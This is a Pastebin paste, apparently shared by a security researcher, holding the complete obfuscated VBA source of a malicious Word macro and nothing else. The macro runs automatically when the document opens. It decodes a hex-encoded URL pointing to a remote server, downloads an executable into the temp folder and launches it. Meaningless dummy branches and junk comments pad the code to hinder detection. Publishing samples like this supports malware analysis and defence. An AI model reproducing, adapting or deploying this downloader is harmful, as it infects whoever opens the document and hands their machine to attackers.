API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Nov 21st, 2014
426
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 13.98 KB | None | 0 0
raw download clone embed print report
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Function kcdygwrfbiu(ByVal yjgkqifjhuh As String, ByVal wyribcufvdf As String) As Boolean
  10. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  11.     Dim ybkppsihihv As Object, ytzewczgyac As Long, dffgyvolwmr As Long, sleabtnazmz() As Byte
  12.  
  13. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  14. If 198146 = 198146 + 1 Then End
  15. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  16. If 7839 < 72 Then
  17. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  18.        MsgBox ("ydsyzxcl64")
  19. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  20. End If
  21. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  22. If Len("ykqxxxyl2193") = Len("appahzmy") Then
  23. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  24.       MsgBox ("error !!!")
  25. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  26. End If
  27. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  28.    Set ybkppsihihv = CreateObject("msxml2.xmlhttp")
  29.  
  30. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  31.    ybkppsihihv.Open "GET", yjgkqifjhuh, False
  32. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  33. If 521349 = 521349 + 1 Then End
  34. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  35. If 8893 < 54 Then
  36. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  37.        MsgBox ("likijweg67")
  38. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  39. End If
  40. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  41. If Len("pllhkrlc3166") = Len("sxxznekr") Then
  42. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  43.       MsgBox ("error !!!")
  44. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  45. End If
  46. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  47.    ybkppsihihv.send "VVhjk"
  48.  
  49.  
  50.  
  51.  
  52. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  53. If 376139 = 376139 + 1 Then End
  54. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  55. If 4393 < 36 Then
  56. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  57.        MsgBox ("ezhdcheq72")
  58. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  59. End If
  60. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  61. If Len("pkmsyove5253") = Len("tsljbgsj") Then
  62. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  63.       MsgBox ("error !!!")
  64. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  65. End If
  66. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  67.    sleabtnazmz = ybkppsihihv.responsebody
  68.  
  69.  
  70. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  71. If 715735 = 715735 + 1 Then End
  72. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  73. If 4641 < 12 Then
  74. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  75.        MsgBox ("ryjrhqnx53")
  76. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  77. End If
  78. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  79. If Len("dygrzarq8814") = Len("gojjpnrl") Then
  80. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  81.       MsgBox ("error !!!")
  82. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  83. End If
  84. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  85.    dffgyvolwmr = FreeFile
  86.  
  87. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  88.    Open wyribcufvdf For Binary As #dffgyvolwmr
  89. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  90. If 729374 = 729374 + 1 Then End
  91. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  92. If 4942 < 43 Then
  93. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  94.        MsgBox ("nnyvcjng26")
  95. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  96. End If
  97. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  98. If Len("fnfymeib5882") = Len("olspfiwd") Then
  99. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  100.       MsgBox ("error !!!")
  101. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  102. End If
  103. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  104.    Put #dffgyvolwmr, , sleabtnazmz
  105.  
  106. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  107. If 935867 = 935867 + 1 Then End
  108. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  109. If 7842 < 34 Then
  110. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  111.        MsgBox ("lkhqhnue85")
  112. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  113. End If
  114. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  115. If Len("ekdpzjqk1116") = Len("rwhcqgpb") Then
  116. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  117.       MsgBox ("error !!!")
  118. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  119. End If
  120. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  121.    Close #dffgyvolwmr
  122.  
  123. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  124. If 767893 = 767893 + 1 Then End
  125. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  126. If 7329 < 99 Then
  127. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  128.        MsgBox ("xvbnvbmi21")
  129. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  130. End If
  131. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  132. If Len("rfebukjb1584") = Len("vuaenced") Then
  133. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  134.       MsgBox ("error !!!")
  135. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  136. End If
  137. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  138.    
  139.  
  140. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  141. If 642238 = 642238 + 1 Then End
  142. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  143. If 9112 < 66 Then
  144. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  145.        MsgBox ("awvnauwt56")
  146. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  147. End If
  148. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  149. If Len("kynuzhsf1962") = Len("lpemqgqm") Then
  150. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  151.       MsgBox ("error !!!")
  152. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  153. End If
  154. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  155.    Set bikhbouivbl = CreateObject("shell.application")
  156.  
  157. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  158.    bikhbouivbl.Open Environ("temp") & "\VYEJIUNSXLI.exe"
  159. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  160. If 863523 = 863523 + 1 Then End
  161. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  162. If 8277 < 29 Then
  163. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  164.        MsgBox ("tczpuufm31")
  165. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  166. End If
  167. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  168. If Len("ddyihaps3541") = Len("mafrfkwq") Then
  169. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  170.       MsgBox ("error !!!")
  171. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  172. End If
  173. '????)??- ?04?-? 3?-??4?39?4???? 2?????????? 0?*(??97 ?( ?0????????0??????????????????
  174.      
  175.  
  176.  
  177. End Function
  178. Sub auto_open()
  179. If 342198 = 342198 + 1 Then End
  180. If 6121 < 36 Then
  181.         MsgBox ("pwnlbmeg41")
  182. End If
  183. If Len("ayzaarmc1384") = Len("zprgozle") Then
  184.        MsgBox ("error !!!")
  185. End If
  186. vmmtnyfyoid
  187.  
  188. End Sub
  189. Sub autoopen()
  190. If 579373 = 579373 + 1 Then End
  191. If 2541 < 28 Then
  192.         MsgBox ("nvgsfxxv92")
  193. End If
  194. If Len("nefeixyc5714") = Len("wxsiaalq") Then
  195.        MsgBox ("error !!!")
  196. End If
  197.     auto_open
  198.  
  199. End Sub
  200. Sub workbook_open()
  201. If 881586 = 881586 + 1 Then End
  202. If 8712 < 53 Then
  203.         MsgBox ("gmlldavd95")
  204. End If
  205. If Len("shniernf9662") = Len("dlzwszbm") Then
  206.        MsgBox ("error !!!")
  207. End If
  208.     auto_open
  209.  
  210. End Sub
  211. Sub vmmtnyfyoid()
  212. If 393732 = 393732 + 1 Then End
  213. If 3669 < 39 Then
  214.         MsgBox (hextostring(Chr$(55) & Chr$(65) & Chr$(52) & Chr$(56) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(69) & Chr$(54) & Chr$(69) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(52)))
  215. End If
  216. If Len(hextostring(Chr$(52) & Chr$(70) & Chr$(55) & Chr$(57) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(69) & Chr$(55) & Chr$(56) & Chr$(52) & Chr$(67) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(57))) = Len(hextostring(Chr$(52) & Chr$(53) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(49) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(55) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(55) & Chr$(53))) Then
  217.        MsgBox (hextostring(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49)))
  218. End If
  219. fdgjhhibjkl7gik = hextostring(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(57) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(55) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(55) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(65) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(48) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(48) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(51) & Chr$(49) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(51) & Chr$(49) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(55) & Chr$(48))
  220.  
  221. If 485913 = 485913 + 1 Then End
  222. If 7649 < 42 Then
  223.         MsgBox (hextostring(Chr$(52) & Chr$(54) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(70) & Chr$(54) & Chr$(68) & Chr$(54) & Chr$(68) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(49)))
  224. End If
  225. If Len(hextostring(Chr$(55) & Chr$(52) & Chr$(55) & Chr$(57) & Chr$(54) & Chr$(56) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(65) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(57))) = Len(hextostring(Chr$(54) & Chr$(67) & Chr$(54) & Chr$(55) & Chr$(52) & Chr$(70) & Chr$(52) & Chr$(66) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(51) & Chr$(54) & Chr$(51))) Then
  226.        MsgBox (hextostring(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49)))
  227. End If
  228.     kcdygwrfbiu fdgjhhibjkl7gik, Environ(hextostring(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & hextostring(Chr$(53) & Chr$(67) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(57) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  229.  
  230. End Sub
  231. Public Function hextostring(ByVal nhcqwfgej As String) As String
  232. Dim nuzmlbfhz As String
  233. Dim ogqyauxcpbviwij As String
  234. Dim fgofrw As Long
  235. For fgofrw = 1 To Len(nhcqwfgej) Step 2
  236. If 987234 = 987234 + 1 Then End
  237. If 7639 < 69 Then
  238.         MsgBox ("dibkwffc53")
  239. End If
  240. If Len("aiuvlbwo8571") = Len("xayestix") Then
  241.        MsgBox ("error !!!")
  242. End If
  243. nuzmlbfhz = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(nhcqwfgej, fgofrw, 2)))
  244.  
  245. If 243388 = 243388 + 1 Then End
  246. If 2439 < 55 Then
  247.         MsgBox ("avaykopy31")
  248. End If
  249. If Len("bmiwoqdu3279") = Len("dzzkdvfa") Then
  250.        MsgBox ("error !!!")
  251. End If
  252. ogqyauxcpbviwij = ogqyauxcpbviwij & nuzmlbfhz
  253.  
  254. Next fgofrw
  255. If 987435 = 987435 + 1 Then End
  256. If 7623 < 69 Then
  257.         MsgBox ("arrvwigd53")
  258. End If
  259. If Len("apefhibs8563") = Len("wzalodsn") Then
  260.        MsgBox ("error !!!")
  261. End If
  262. hextostring = ogqyauxcpbviwij
  263.  
  264. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!